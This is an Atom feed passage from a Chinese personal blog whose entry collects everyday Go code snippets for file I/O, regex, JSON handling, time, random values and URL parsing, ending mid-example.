<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>丰梓林的博客</title>
  <icon>https://fz1lin.com/icon.png</icon>
  <subtitle>想做一个剑客，但手里没有合适的剑</subtitle>
  <link href="https://fz1lin.com/atom.xml" rel="self"/>
  
  <link href="https://fz1lin.com/"/>
  <updated>2023-04-16T04:04:49.052Z</updated>
  <id>https://fz1lin.com/</id>
  
  <author>
    <name>fz1lin</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Go常用示例代码片段</title>
    <link href="https://fz1lin.com/2023/3397475585/"/>
    <id>https://fz1lin.com/2023/3397475585/</id>
    <published>2023-04-16T03:54:39.000Z</published>
    <updated>2023-04-16T04:04:49.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>只是列举了，常用的代码片段，封装成函数，直接调用，如果想修改其他功能直接替换调核心代码即可，方便下次直接使用。</p><p>ps：写Java写习惯了，喜欢用一个类表示一个功能</p><p>代码放在了GitHub上面：<a href="https://github.com/fz1lin/goFragment">https://github.com/fz1lin/goFragment</a></p><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><p><a href="https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/03.%E7%BC%96%E7%A8%8B%E5%BC%80%E5%8F%91/GO/02.GO%E5%B8%B8%E7%94%A8%E5%AE%9E%E4%BE%8B.html" title="https://blog.gm7.org/个人知识库/03.编程开发/GO/02.GO常用实例.html">https://blog.gm7.org/个人知识库/03.编程开发/GO/02.GO常用实例.html</a></p><p><a href="https://go-zh.org/pkg/" title="https://go-zh.org/pkg/">https://go-zh.org/pkg/</a></p><p><a href="https://learnku.com/docs/build-web-application-with-golang/about-this-book/3151" title="https://learnku.com/docs/build-web-application-with-golang/about-this-book/3151">https://learnku.com/docs/build-web-application-with-golang/about-this-book/3151</a></p><p><a href="http://c.biancheng.net/view/2.html" title="http://c.biancheng.net/view/2.html">http://c.biancheng.net/view/2.html</a></p><h2 id="I-O读写文件"><a href="#I-O读写文件" class="headerlink" title="I/O读写文件"></a>I/O读写文件</h2><p>代码路径 /readWrite</p><p>各种格式的速度以及大小对比</p><table><thead><tr><th>后缀</th><th>读取</th><th>写入</th><th>大小(KiB)</th><th>读/写LOC</th><th>格式</th></tr></thead><tbody><tr><td>.gob</td><td>0.3</td><td>0.2</td><td>7948</td><td>21 + 11 =32</td><td>Go二进制</td></tr><tr><td>.gob.gz</td><td>0.5</td><td>1.5</td><td>2589</td><td>21 + 11 =32</td><td>Go二进制</td></tr><tr><td>.jsn</td><td>4.5</td><td>2.2</td><td>16283</td><td>32+17 = 49</td><td>JSON</td></tr><tr><td>.jsn.gz</td><td>4.5</td><td>3.4</td><td>2678</td><td>21 + 11 =32</td><td>JSON</td></tr><tr><td>.xml</td><td>6.7</td><td>1.2</td><td>18917</td><td>45 + 30 = 75</td><td>XML</td></tr><tr><td>.xml.gz</td><td>6.9</td><td>2.7</td><td>2730</td><td>45 + 30 = 75</td><td>XML</td></tr><tr><td>.txt</td><td>1.9</td><td>1.0</td><td>12375</td><td>86 + 53 = 139</td><td>纯文本（UTF-8）</td></tr><tr><td>.txt.gz</td><td>2.2</td><td>2.2</td><td>2514</td><td>86 + 53 = 139</td><td>纯文本（UTF-8）</td></tr><tr><td>.inv</td><td>1.7</td><td>3.5</td><td>7250</td><td>128 + 87 = 215</td><td>自定义二进制</td></tr><tr><td>.inv.gz</td><td>1.6</td><td>2.6</td><td>2400</td><td>128 + 87 = 215</td><td>自定义二进制</td></tr></tbody></table><h3 id="读取文件"><a href="#读取文件" class="headerlink" title="读取文件"></a>读取文件</h3><p>按照字节读取内容，返回读取的内容</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//filename 输入文件读取文件的名字</span></span><br><span class="line"><span class="comment">//返回读取内容</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ReadFileFunc</span><span class="params">(fileName <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">  <span class="comment">//打开文件</span></span><br><span class="line">  file, err := os.Open(fileName)</span><br><span class="line">   <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;文件打开失败，没有&quot;</span> + fileName + <span class="string">&quot;文件&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">//及时关闭 file 句柄，否则会有内存泄漏</span></span><br><span class="line">  <span class="keyword">defer</span> file.Close()</span><br><span class="line"> </span><br><span class="line">  <span class="comment">//读取内容</span></span><br><span class="line">  buf := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="number">1024</span>)</span><br><span class="line">  <span class="keyword">var</span> res <span class="keyword">string</span></span><br><span class="line">  <span class="keyword">for</span> &#123;</span><br><span class="line">    count, err := file.Read(buf)</span><br><span class="line">    <span class="keyword">if</span> err == io.EOF &#123;</span><br><span class="line">      <span class="keyword">break</span></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      currBytes := buf[:count]</span><br><span class="line">      res += <span class="keyword">string</span>(currBytes)</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">return</span> res</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="写入文件"><a href="#写入文件" class="headerlink" title="写入文件"></a>写入文件</h3><p>写入到一个新的文件中</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// writeString 写入的字符串</span></span><br><span class="line"><span class="comment">// newfileName 创建新的文件名字</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">WriteFileFunc</span><span class="params">(writeString <span class="keyword">string</span>, newfileName <span class="keyword">string</span>)</span> <span class="title">bool</span></span> &#123;</span><br><span class="line">  <span class="comment">//创建文件</span></span><br><span class="line">  file, err := os.Create(newfileName)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 写入文件内容</span></span><br><span class="line">  _, err = io.WriteString(file, writeString)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="正则表达式"><a href="#正则表达式" class="headerlink" title="正则表达式"></a>正则表达式</h2><p>常用正则</p><p><a href="https://github.com/cdoco/learn-regex-zh" title="https://github.com/cdoco/learn-regex-zh">https://github.com/cdoco/learn-regex-zh</a></p><p><a href="https://github.com/jaywcjlove/regexp-example" title="https://github.com/jaywcjlove/regexp-example">https://github.com/jaywcjlove/regexp-example</a></p><p>也可以借助chatGPT，你发送一个字符片段，你给他说，我要使用go语言，正则提取xxx内容，就会返回一个正则表达式。</p><h3 id="提取"><a href="#提取" class="headerlink" title="提取"></a>提取</h3><p>go内置语法参考</p><p><a href="https://go-zh.org/pkg/regexp/" title="https://go-zh.org/pkg/regexp/">https://go-zh.org/pkg/regexp/</a></p><p>提取，根据正则表达式，提取对应的内容</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// regexString 正则表达式</span></span><br><span class="line"><span class="comment">// value 匹配的内容</span></span><br><span class="line"><span class="comment">// 返回匹配内容的值</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">RegexFunc</span><span class="params">(regexString <span class="keyword">string</span>, value <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">  <span class="keyword">var</span> res <span class="keyword">string</span></span><br><span class="line">  regex, _ := regexp.Compile(regexString)</span><br><span class="line">  <span class="comment">// 在字符串中查找匹配项</span></span><br><span class="line">  matches := regex.FindAllString(value, <span class="number">-1</span>)</span><br><span class="line">  <span class="comment">// 输出匹配项</span></span><br><span class="line">  <span class="keyword">for</span> _, res = <span class="keyword">range</span> matches &#123;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> res</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="JSON-相关处理"><a href="#JSON-相关处理" class="headerlink" title="JSON 相关处理"></a>JSON 相关处理</h2><h3 id="JSON转换为map"><a href="#JSON转换为map" class="headerlink" title="JSON转换为map"></a>JSON转换为map</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//jsonStr := `&#123;&quot;name&quot;: &quot;Alice&quot;, &quot;age&quot;: 20&#125;`</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">JsonSwitchMap</span><span class="params">(jsonStr <span class="keyword">string</span>)</span> <span class="title">map</span>[<span class="title">string</span>]<span class="title">interface</span></span>&#123;&#125; &#123;</span><br><span class="line">  <span class="comment">// 将 JSON 数据转换为 map</span></span><br><span class="line">  <span class="keyword">var</span> data <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;</span><br><span class="line">  err := json.Unmarshal([]<span class="keyword">byte</span>(jsonStr), &amp;data)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> data</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//map[age:20 name:Alice]</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="JSON转换为切片"><a href="#JSON转换为切片" class="headerlink" title="JSON转换为切片"></a>JSON转换为切片</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//jsonStr := `[&#123;&quot;name&quot;: &quot;Bob&quot;, &quot;age&quot;: 25&#125;, &#123;&quot;name&quot;: &quot;Charlie&quot;, &quot;age&quot;: 30&#125;]`</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">JsonSwitchSlice</span><span class="params">(jsonStr <span class="keyword">string</span>)</span> []<span class="title">map</span>[<span class="title">string</span>]<span class="title">interface</span></span>&#123;&#125; &#123;</span><br><span class="line">  <span class="keyword">var</span> data []<span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;</span><br><span class="line">  err := json.Unmarshal([]<span class="keyword">byte</span>(jsonStr), &amp;data)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> data</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//[map[age:25 name:Bob] map[age:30 name:Charlie]]</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="map转换为JSON"><a href="#map转换为JSON" class="headerlink" title="map转换为JSON"></a>map转换为JSON</h3><p>传入json数据</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">mapData := <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;&#123;</span><br><span class="line">  <span class="string">&quot;name&quot;</span>:  <span class="string">&quot;John&quot;</span>,</span><br><span class="line">  <span class="string">&quot;age&quot;</span>:   <span class="number">30</span>,</span><br><span class="line">  <span class="string">&quot;email&quot;</span>: <span class="string">&quot;example.com&quot;</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>转换</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">MapSwitchJson</span><span class="params">(mapData <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">  <span class="comment">// 将 map 转换为 JSON 字符串</span></span><br><span class="line">  jsonBytes, err := json.Marshal(mapData )</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    fmt.Println(err)</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// 将 JSON 字符串转换为字符串类型输出</span></span><br><span class="line">  jsonString := <span class="keyword">string</span>(jsonBytes)</span><br><span class="line">  <span class="keyword">return</span> jsonString</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//&#123;&quot;age&quot;:30,&quot;email&quot;:&quot;example.com&quot;,&quot;name&quot;:&quot;John&quot;&#125;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="JSON序列化"><a href="#JSON序列化" class="headerlink" title="JSON序列化"></a>JSON序列化</h3><p>序列化指将 Go 语言数据结构转换为 JSON 格式的字符串。可以使用 <code>json.Marshal()</code> 函数来实现序列化操作</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 定义结构体，变量名注意大写，因为跨到json包了</span></span><br><span class="line"><span class="keyword">type</span> Address <span class="keyword">struct</span> &#123;</span><br><span class="line">  Street <span class="keyword">string</span> <span class="string">`json:&quot;street&quot;`</span></span><br><span class="line">  City   <span class="keyword">string</span> <span class="string">`json:&quot;city&quot;`</span></span><br><span class="line">  State  <span class="keyword">string</span> <span class="string">`json:&quot;state&quot;`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Person <span class="keyword">struct</span> &#123;</span><br><span class="line">  Name    <span class="keyword">string</span>  <span class="string">`json:&quot;name&quot;`</span></span><br><span class="line">  Age     <span class="keyword">int</span>     <span class="string">`json:&quot;age&quot;`</span></span><br><span class="line">  Address Address <span class="string">`json:&quot;address&quot;`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  person := Person&#123;</span><br><span class="line">    Name: <span class="string">&quot;Alice&quot;</span>,</span><br><span class="line">    Age:  <span class="number">25</span>,</span><br><span class="line">    Address: Address&#123;</span><br><span class="line">      Street: <span class="string">&quot;123 Main St&quot;</span>,</span><br><span class="line">      City:   <span class="string">&quot;Anytown&quot;</span>,</span><br><span class="line">      State:  <span class="string">&quot;CA&quot;</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">//序列化结构体</span></span><br><span class="line">  jsonString, err := json.Marshal(person)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    log.Fatal(err)</span><br><span class="line">  &#125;</span><br><span class="line">  fmt.Println(<span class="keyword">string</span>(jsonString))</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>使用 <code>json.Marshal()</code> 函数序列化时，结构体成员名称的首字母必须大写，否则该成员将不会被序列化。为了指定 JSON 字段的名称，可以使用结构体标记（tag）来标注成员</p><h3 id="JSON反序列化"><a href="#JSON反序列化" class="headerlink" title="JSON反序列化"></a>JSON反序列化</h3><p>反序列化指将 JSON 格式的字符串转换为对应的 Go 语言数据结构。可以使用 <code>json.Unmarshal()</code> 函数来实现反序列化操作</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> Addresss <span class="keyword">struct</span> &#123;</span><br><span class="line">  Street <span class="keyword">string</span> <span class="string">`json:&quot;street&quot;`</span></span><br><span class="line">  City   <span class="keyword">string</span> <span class="string">`json:&quot;city&quot;`</span></span><br><span class="line">  State  <span class="keyword">string</span> <span class="string">`json:&quot;state&quot;`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Persons <span class="keyword">struct</span> &#123;</span><br><span class="line">  Name    <span class="keyword">string</span>  <span class="string">`json:&quot;name&quot;`</span></span><br><span class="line">  Age     <span class="keyword">int</span>     <span class="string">`json:&quot;age&quot;`</span></span><br><span class="line">  Address Address <span class="string">`json:&quot;address&quot;`</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  jsonString := <span class="string">`&#123;&quot;name&quot;: &quot;Alice&quot;, &quot;age&quot;: 25, &quot;address&quot;: &#123;&quot;street&quot;: &quot;123 Main St&quot;, &quot;city&quot;: &quot;Anytown&quot;, &quot;state&quot;: &quot;CA&quot;&#125;&#125;`</span></span><br><span class="line">  <span class="keyword">var</span> persons Persons</span><br><span class="line">  err := json.Unmarshal([]<span class="keyword">byte</span>(jsonString), &amp;persons)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    log.Fatal(err)</span><br><span class="line">  &#125;</span><br><span class="line">  fmt.Printf(<span class="string">&quot;%+v\n&quot;</span>, persons)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="json包"><a href="#json包" class="headerlink" title="json包"></a>json包</h3><p>导入json包</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">go</span> get github.com/json-iterator/<span class="keyword">go</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="时间日期"><a href="#时间日期" class="headerlink" title="时间日期"></a>时间日期</h2><p>/times包下</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">//获取当前时间</span></span><br><span class="line">  now := time.Now()</span><br><span class="line">  fmt.Println(now)</span><br><span class="line"></span><br><span class="line">  <span class="comment">//获取时间戳</span></span><br><span class="line">  fmt.Println(now.Unix())</span><br><span class="line">  <span class="comment">//格式化时间</span></span><br><span class="line">  fmt.Println(now.Format(<span class="string">&quot;2006-01-02 15:04:05.000 Mon Jan&quot;</span>))</span><br><span class="line">  fmt.Println(now.Format(<span class="string">&quot;2006-01-02 15:04:05&quot;</span>))</span><br><span class="line">  fmt.Println(now.Format(<span class="string">&quot;20060102&quot;</span>))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="函数运行时间"><a href="#函数运行时间" class="headerlink" title="函数运行时间"></a>函数运行时间</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">TimeSince</span><span class="params">(f <span class="keyword">func</span>()</span>) <span class="title">string</span></span> &#123;</span><br><span class="line">  start := time.Now() <span class="comment">// 获取当前时间</span></span><br><span class="line">  f()                 <span class="comment">// 执行传入的函数</span></span><br><span class="line">  <span class="comment">// 获取结束的时间</span></span><br><span class="line">  elapsed := time.Since(start)</span><br><span class="line">  str := fmt.Sprintf(<span class="string">&quot;该函数执行完成耗时：%v&quot;</span>, elapsed)</span><br><span class="line">  <span class="keyword">return</span> str</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  result := TimeSince(timeTest)</span><br><span class="line">  fmt.Println(result)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">timeTest</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">// 运行的函数</span></span><br><span class="line">  sum := <span class="number">0</span></span><br><span class="line">  <span class="keyword">for</span> i := <span class="number">0</span>; i &lt; <span class="number">1111111111</span>; i++ &#123;</span><br><span class="line">    sum++</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//该函数执行完成耗时：318.3731ms</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>go并发读取txt</p><h2 id="随机数"><a href="#随机数" class="headerlink" title="随机数"></a>随机数</h2><h3 id="生成随机数"><a href="#生成随机数" class="headerlink" title="生成随机数"></a>生成随机数</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//start 10，end 20，将获得这之间的随机数</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">RandomSum</span><span class="params">(start <span class="keyword">int</span>, end <span class="keyword">int</span>)</span> <span class="title">int</span></span> &#123;</span><br><span class="line">  <span class="comment">// 以当前时间戳作为种子，确保每次生成的随机数都不同</span></span><br><span class="line">  rand.Seed(time.Now().Unix())</span><br><span class="line">  <span class="comment">// 生成一个指定范围之间的随机整数</span></span><br><span class="line"></span><br><span class="line">  randomInt := rand.Intn(end-start+<span class="number">1</span>) + start</span><br><span class="line">  <span class="keyword">return</span> randomInt</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="生成随机字符串"><a href="#生成随机字符串" class="headerlink" title="生成随机字符串"></a>生成随机字符串</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> (</span><br><span class="line">  letterBytes  = <span class="string">&quot;abcdefghijklmnopqrstuvwxyz&quot;</span></span><br><span class="line">  capitalBytes = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;</span></span><br><span class="line">  numberBytes  = <span class="string">&quot;0123456789&quot;</span></span><br><span class="line">  symbolBytes  = <span class="string">&quot;!@#$%^&amp;*()&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">RandStringBytes</span><span class="params">(n <span class="keyword">int</span>, randomString <span class="keyword">string</span>)</span> <span class="title">string</span></span> &#123;</span><br><span class="line">  rand.Seed(time.Now().Unix())</span><br><span class="line">  b := <span class="built_in">make</span>([]<span class="keyword">byte</span>, n)</span><br><span class="line">  <span class="keyword">for</span> i := <span class="keyword">range</span> b &#123;</span><br><span class="line">    b[i] = randomString[rand.Intn(<span class="built_in">len</span>(randomString))]</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="keyword">string</span>(b)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="comment">//传入随机字符串的长度，以及需要随机那些字符串</span></span><br><span class="line">  randomString := RandStringBytes(<span class="number">10</span>, letterBytes+numberBytes)</span><br><span class="line">  fmt.Println(randomString)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="URL解析"><a href="#URL解析" class="headerlink" title="URL解析"></a>URL解析</h2><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">  <span class="comment">// 要解析的 URL 字符串</span></span><br><span class="line">  urlString := <span class="string">&quot;https://www.example.com/path/to/resource?key1=value1&amp;key2=value2#fragment&quot;</span></span><br><span class="line"></span><br><span class="line">  <span class="comment">// 解析 URL 字符串</span></span><br><span class="line">  parsedUrl, err := url.Parse(urlString)</span><br><span class="line">  <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">    <span class="built_in">panic</span>(err)</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 输出解析后的 URL 的各个部分</span></span><br><span class="line">  fmt.Println(<span class="string">&quot;Scheme:&quot;</span>, parsedUrl.Scheme)</span><br><span class="line">  fmt.Println(<span class="string">&quot;Host:&quot;</span>, parsedUrl.Host)</span><br><span class="line">  fmt.Println(<span class="string">&quot;Path:&quot;</span>, parsedUrl.Path)</span><br><span class="line">  fmt.Println(<span class="string">&quot;RawQuery:&quot;</span>, parsedUrl.RawQuery)</span><br><span class="line">  fmt.Println(<span class="string">&quot;Fragment:&quot;</span>, parsedUrl.Fragment)</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 解析 URL 的查询参数</span></span><br><span class="line">  query := parsedUrl.Query()</span><br><span class="line">  fmt.Println(<span class="string">&quot;key1:&quot;</span>, query.Get(<span 